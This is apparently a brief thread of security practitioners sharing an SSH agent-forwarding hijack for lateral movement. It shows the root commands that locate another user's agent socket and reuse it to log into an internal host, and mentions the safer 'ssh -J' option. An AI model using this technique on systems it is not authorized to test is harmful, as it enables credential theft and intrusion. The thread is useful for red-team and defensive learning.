Here's one of my favorite techniques for lateral movement: SSH agent forwarding. Use a UNIX-domain socket to advance your presence on the network. No need for passwords or keys.
root@bastion:~# find /tmp/ssh-* -type s
/tmp/ssh-srQ6Q5UpOL/agent.1460
root@bastion:~# SSH_AUTH_SOCK=/tmp/ssh-srQ6Q5UpOL/agent.1460 ssh [email protected]
user@internal:~$ hostname -f
internal.company.tldThis post explains it well and details the safer ssh -J alternative.
@0xdade great add! I may have run into those in a former life 😉 Sometimes I have to remember to check
/etc/ssh/ssh_configin addition to the home directory~/.ssh/configfiles.@wvu-r7 holy smokes, TIL! Can't wait to hit a Windows machine with this.